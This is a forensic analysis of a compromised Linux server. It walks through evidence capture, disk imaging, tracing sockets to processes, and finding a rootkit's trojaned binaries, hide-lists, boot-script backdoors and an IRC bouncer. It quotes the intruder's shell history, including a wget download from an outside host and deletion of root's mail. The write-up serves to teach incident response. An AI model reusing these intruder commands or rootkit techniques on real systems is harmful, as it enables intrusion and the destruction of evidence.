# tail /var/log/messages"tail" doesn't return any messages, which is odd.
# ls -l /var/log/messages lrwxrwxrwx 1 root root 9 Aug 10 18:30 /var/log/messages -> /dev/nullWe see that /var/log/messages has been removed and then linked to /dev/null. This will prevent any future log messages from being saved. This is definitely not normal, and I assume the machine has been compromised. In running the following commands, I have changed the access times on /var/log/messages, /usr/bin/tail, and /bin/ls. I may have also added entries to /root/.bash_history showing the commands I just ran. This will change the modification time of that file, also.
Now that I have assumed the machine has been compromised, I begin to collect forensic evidence. On my forensic workstation, I use netcat to open a network socket with which I will receive the data from the compromised machine.
# nc -l -p 1025 > mem # nc -l -p 1026 > proc # nc -l -p 1027 > swapOn the compromised machine, I mount a CD-ROM containing an incident response toolkit. This will change the access time for /bin/mount.
# mount /dev/cdrom /mnt/cdrom # cd /mnt/cdromI use the 'procget' command to save the proc filesystem. 'procget' is a command which will transfer a copy of the /proc filesystem to another host. The /proc filesystem is a virtual filesystem. This is because the files in /proc don't actually live on a disk somewhere. They are bits of kernel memory presented for usage or reading by a person or by programs. It's a window into the current configuration and activity of the system. The "files" on this filesystem give the viewer certain data about the running system. It could be information about processes or the configuration of the networking subsystem or a list of devices on the system. The /proc filesystem is a pretty extensive interface allowing an administrator, or in this case an investigator, to retrieve a wide variety of information about the current state of the system.
In my experience, cpio and tar are not good utilities to read the files from /proc because each uses the stat() system call in order to determine the length of the file before it then archives it. Since the contents of these files are generated on-the-fly by the kernel when they are accessed, a stat returns a file length of zero. Because the file length is zero, tar and cpio will both make an entry in the archive for the file, but neither of them will save any data. So in order to archive these files, I will use procget. It opens each file in the /proc filesystem and reads from them until the end of the file. It omits the length check. In addition to reading the files, it also transfers the file's name and contents to a specified address and port. On the remote host, procsave is used to turn the data stream back into a directory tree.
# ./procget 192.168.1.1 1026Two other useful files to get are /dev/mem and /dev/kmem. /dev/mem is the entire contents of the system's memory. /dev/kmem is the virtual kernel address space. Because it's virtual space, it will have holes. This makes the archiving of this virtual file problematic since there isn't data right at the beginning of the file. Because parts of the file are vacuous, many programs will fail trying to read this file. I'll use memget, which is a special tool for archiving /dev/kmem. It tries sequentially to read each page from the file. If it receives an error, it is assumed that the page doesn't exist, and the program moves onto the next one. Similar to procget, memget transfers its data in a stream to a specified address and port.
# ./memget 192.168.1.1 1025The next bit of semi-volatile data that can be saved is the swap partition. I'll just use netcat to transfer it.
# ./dd if=/dev/sda2 bs=4096 | ./nc 192.168.1.1 1027I've transferred the snapshot of a small window of time to the forensics workstation. There will be a lot of data to analyze from it. Now that the volatile data is saved, I turn off the virtual machine. Nothing further in memory is saved, and nothing is backed up. This is good, because the filesystem won't be changed as it would during a clean shutdown. Also, any deleted files that were in use by running programs will still exist on the filesystem.
An investigator doesn't want to perform forensics analysis on the actual hard drive itself, as it must be kept pristine in order to avoid tainting the evidence. So the next step is to copy the data off of the hard disk onto another filesystem for analysis. So I boot Knoppix, which is a complete linux system on a CD. Knoppix is bootable, provides many utilities, and uses a minimal amount of memory. The downside to using knoppix is that it will use the swap partition on the hard drive, so the data on the partition is no longer viable for investigation. But I did transfer the swap partition in a previous step before the Knoppix boot, so we still have this data. The partition that we're interested in is the boot. I found a list of partitions using the 'fdisk' command, and outside of the swap partition, this is the only partition on the disk. Before I transfer the partitions, I run md5sum on it to get the cryptographic checksum of the partition. I can compare this later to the file we're analyzing in order to know that no data has changed during the imaging process. I'll now use the dd command to transfer the partition to the forensics workstation.
# md5sum /dev/sda1 e765ccb0a320fba7f108cb0d47f8d251 sda1 # dd if=/dev/sda1 bs=8192 | nc 192.168.1.1 1028
On the commands I did run, the access time was updated. These commands include:
/usr/bin/tail /bin/ls /bin/mount /bin/dateThe access time was also updated on the /var/log/messages symbolic link. I would expect that /root/.bash_history would be updated as well, but later on I find that it is also a symbolic link to /dev/null. The /etc/mtab file is changed because of the mount of the tools CD.
Now that all of the evidence has been copied, I can start the investigation using the data on my forensics workstation.
gizmo% cd proc gizmo% cat tcp 0: 00000000:008B 00000000:0000 0A 1015 1 c44e7060 300 0 0 2 -1 1: 00000000:004F 00000000:0000 0A 881 1 c5ea5040 300 0 0 2 -1 2: 00000000:0050 00000000:0000 0A 977 1 c5757a80 300 0 0 2 -1 3: 00000000:0071 00000000:0000 0A 836 1 c55f6aa0 300 0 0 2 -1 4: 00000000:07D3 00000000:0000 0A 4571 1 c4108aa0 300 0 0 2 -1 5: 00000000:0015 00000000:0000 0A 883 1 c5ea5a40 300 0 0 2 -1 6: 00000000:0016 00000000:0000 0A 860 1 c55f65a0 300 0 0 2 -1 7: 00000000:0017 00000000:0000 0A 882 1 c5ea5540 300 0 0 2 -1 8: 00000000:FF38 00000000:0000 0A 15617 1 c0a60a80 300 0 0 2 -1 9: 00000000:0C38 00000000:0000 0A 12302 1 c16aca40 300 0 0 2 -1 10: 0100007F:0019 00000000:0000 0A 925 1 c57ceae0 300 0 0 2 -1 11: 00000000:01BB 00000000:0000 0A 976 1 c5757080 300 0 0 2 -1 12: 00000000:FF9C 00000000:0000 0A 15619 1 c43caa80 300 0 0 2 -1 13: 4F01A8C0:FF38 C8769AD5:04A4 01 16157 1 c41085a0 214 4 0 2 2 14: 4F01A8C0:047E 0101A8C0:0402 01 16553 2 c55f60a0 22 0 0 3 2 15: 4F01A8C0:047D 2A603E40:1A0B 01 16191 1 c3f27060 23 4 22 2 2 16: 4F01A8C0:047A 85A5B8C7:1A0B 01 15909 1 c16ac040 39 4 22 2 2I can then use the virtual inode number in the fifth column to retrieve the process ID(s) associated with each socket. The second column also contains the local port number for the socket. The fourth column shows the state of the socket. "0A" refers to listening, and "01" means established. I'll examine the listening sockets here.
gizmo% cd proc gizmo% foreach pid ([1-9]*) > egrep socket $pid/fd/* > end 845/fd/9:socket:[1015] 732/fd/3:socket:[881] 25239/fd/17:socket:[977] 677/fd/4:socket:[836] 685/fd/4:socket:[836] 686/fd/4:socket:[836] 695/fd/4:socket:[836] 696/fd/4:socket:[836] 3137/fd/6:socket:[4571] 732/fd/5:socket:[883] 699/fd/3:socket:[860] 732/fd/4:socket:[882] 15119/fd/3:socket:[15617] 25241/fd/8:socket:[12302] 759/fd/4:socket:[925] 3137/fd/16:socket:[976]The top level directory in each line returned by egrep is the process ID associated with the socket virtual inode listed in brackets. I can now cat the exe file from each process directory to find out which program is associated with each port number.
gizmo# cat 845/exe /usr/sbin/smbd 139 /usr/sbin/smbd 79 /usr/sbin/xinetd 80 /lib/.x/s/xopen 113 /usr/sbin/identd 2003 /usr/bin/"smbd -D" 21 /usr/sbin/xinetd 22 /usr/sbin/sshd 23 /usr/sbin/xinetd 65336 /etc/opt/psybns/initd 3128 /lib/.x/s/xopen 25 /usr/sbin/sendmail 443 /usr/bin/"smbd -D" 65436 /etc/opt/psybnc/initdI have now associated the port from the tcp file through the virtual inode from the tcp file, using egrep to correlate the virtual inode to a process ID and then using the exe file to connect the process ID to a specific executable. Some of these are not normally found on a RedHat Linux system. They are:
port file 80 /lib/.x/s/xopen 443 /usr/bin/"smbd -D" 2003 /usr/bin/"smbd -D" 3128 /lib/.x/s/xopen 65336 /etc/opt/psybns/initd 65436 /etc/opt/psybnc/initdI'll investigate what these each are later.
13: 4F01A8C0:FF38 C8769AD5:04A4 01 16157 1 c41085a0 214 4 0 2 2 14: 4F01A8C0:047E 0101A8C0:0402 01 16553 2 c55f60a0 22 0 0 3 2 15: 4F01A8C0:047D 2A603E40:1A0B 01 16191 1 c3f27060 23 4 22 2 2 16: 4F01A8C0:047A 85A5B8C7:1A0B 01 15909 1 c16ac040 39 4 22 2 2Using the same grep command, we associate the sockets with the process IDs.
15119/fd/5:socket:[15619] 15119/fd/6:socket:[16157] 15350/fd/3:socket:[16553] 15119/fd/12:socket:[16191] 15119/fd/9:socket:[15909]And finally by translated the hex to a dotted quad, and also looking at the exe files under each process directory, we can associate each connection with a file.
192.168.1.79:65336 - 213.154.118.200:1188 /etc/opt/psybnc/initd 192.168.1.79:1149 - 64.62.96.42:6667 /etc/opt/psybnc/initd 192.168.1.79:1146 - 199.184.165.133:6667 /etc/opt/psybnc/initd 192.168.1.79:1150 - 192.168.1.1:1026 /mnt/cdrom/procgetThe first three connections all have something to do with initd. We can tell the first connection is inbound from an external host because the system was listening on port 65536. The other two are outgoing connections on the IRC port. The fourth connection shows my using procget to transfer the proc data to my forensics workstation.
+-[ User Login Incoming ]----------- --- --- - - | username: %s password: %s%s hostname: %s +----------------------------------- ----- --- -- -- -It appears that the username, password, and hostname are saved for each connection.
By running strings on the image of the partition and grep'ing for "User Login Incoming", we only find one match, and it must be for that in the executable.
gizmo# strings sda1 | egrep 'User Login Incoming' +-[ User Login Incoming ]----------- --- --- - - gizmo#
gizmo# cp sda1 sda1.fsck
gizmo# e2fsck sda1.fsck
e2fsck 1.32 (09-Nov-2002)
/: recovering journal
Clearing orphaned inode 3187 (uid=48, gid=0, mode=0100600, size=0)
Clearing orphaned inode 45307 (uid=0, gid=0, mode=0100600, size=6679)
Clearing orphaned inode 46607 (uid=0, gid=0, mode=040700, size=4096)
Clearing orphaned inode 46924 (uid=0, gid=0, mode=0100644, size=207)
Clearing orphaned inode 46920 (uid=0, gid=0, mode=0100644, size=0)
Clearing orphaned inode 46733 (uid=0, gid=0, mode=040755, size=4096)
Clearing orphaned inode 45309 (uid=48, gid=0, mode=0100600, size=0)
Clearing orphaned inode 45308 (uid=48, gid=0, mode=0100600, size=0)
Clearing orphaned inode 46916 (uid=0, gid=0, mode=0100644, size=0)
Clearing orphaned inode 46934 (uid=0, gid=0, mode=0100644, size=253)
Clearing orphaned inode 46914 (uid=0, gid=0, mode=0100644, size=22795530)
Clearing orphaned inode 46935 (uid=0, gid=0, mode=0100644, size=23335716)
/: clean, 29899/117760 files, 79813/235516 blocks
gizmo# mkdir mnt
gizmo# mount -o ro,loop sda1.fsck mnt
gizmo# cd mnt
gizmo# find . -type f -exec md5sum {} \; >> ../hackedsums
Once I have the sums, I can compare the sums to the original sums.
gizmo# sortsums linux-suspended-md5s hackedsums > sumdiffs gizmo# egrep ^BAD sumdiffs BAD SUM: /usr/bin/top BAD SUM: /bin/netstat BAD SUM: /bin/ps BAD SUM: /bin/ls BAD SUM: /sbin/ifconfig BAD SUM: /etc/rc.d/init.d/functions BAD SUM: /etc/rc.d/rc.sysinitOf the executable files returned, there are seven interesting ones, including five binaries and two scripts. By runnings strings on the binaries, we can see pathnames that we don't expect:
gizmo# strings usr/bin/top /dev/ttyop gizmo# strings bin/netstat /dev/ttyoa gizmo# strings bin/ps /dev/ttyop gizmo# strings bin/ls /dev/ttyofNow we look at these files in the dev directory.
gizmo# cat dev/ttyop 3 swapd 3 psybnc 3 sl2 3 sl3 3 smbd 3 uptime 3 x2 3 startwu 3 scan 3 r00tThese may be process names that shouldn't be displayed. This would make sense with ps and top.
gizmo# cat dev/ttyoa 1 213.233 1 24.104 1 217.10 1 216 1 193 1 209.118 3 10001 3 10002 3 13064 3 19 3 69 3 6667 4 10001 4 6667 4 10002 4 19 4 69 4 13064These numbers appear to be network numbers or ports. We can assume that this netstat won't show them.
gizmo# cat dev/ttyof psbnc smbd iceconf.h icekey.h icepid.h uptime startwu r00tThese look like filenames, and with ttyof string in the ls command, we can assume ls won't show these files.
Running strings on sbin/ifconfig doesn't show any interesting string, but what is interesting is the absence of the string "PROMISC". One would see "PROMISC" on an interface that is in promiscuous mode, such as one on which a sniffer was monitoring.
If we look at the start script etc/rc.d/init.d/functions, we see that a line has been added to the end:
/usr/bin/crontabs -t1 -X53 -p"crontab" is a normal system command. "crontabs" is not. By running strings on that file, we see that it uses the "system" system call and there's a string containing "smbd -D".
gizmo# strings usr/bin/crontabs system "smbd -D"The "system" system call is interesting here because it is used to run commands on the system. We can assume that "crontabs" is used to start the "smbd -D" program that has been placed in usr/bin. "smbd -D" has been made to resemble "smbd" running with the "-D" option, but here, the program is the seven characters "smbd -D". In a "ps" listing, one might not be able to tell the difference between the two.
If we look at the end of the start script etc/rc.d/rc.sysinit, we see another line which has been added:
kflushdOne might normally see a kflushd running on a linux box, but it would be a kernel thread and not a process run from a binary on the system. This may be another trojan file, but it doesn't seem to have been fully installed on the system.
gizmo# more .bash_history id uptime ./inst hostname hostname sbm79.dtc.apu.edu cd /dev/shm/sc ./install sbm79.dtc.apu.edu rm -rf /var/mail/root ps x cd /tmp ls -a wget izolam.net/sslstop.tar.gz ps x ps aux | grep apache kill -9 21510 21511 23289 23292 23302It appears as thought the victim machine's hostname has been set to sbm79.dtc.apu.edu so that's not the attacker. We also have the IP address from the netstat information. There is a connection established to the victim system from 213.154.118.200. If we look at the owner of many of the newly installed files, they have their owner set as apache. This implies that the apache web server was attacked, and the hacker used the hijacked daemon to create the new files. Because the daemon runs as user apache, the new files were owned by that user. It's odd that there were three new ssh packages installed. One reason for this might be that multiple hackers broke into the victim machine. If this is the case, the others may have entered through different vulnerabilities than apache.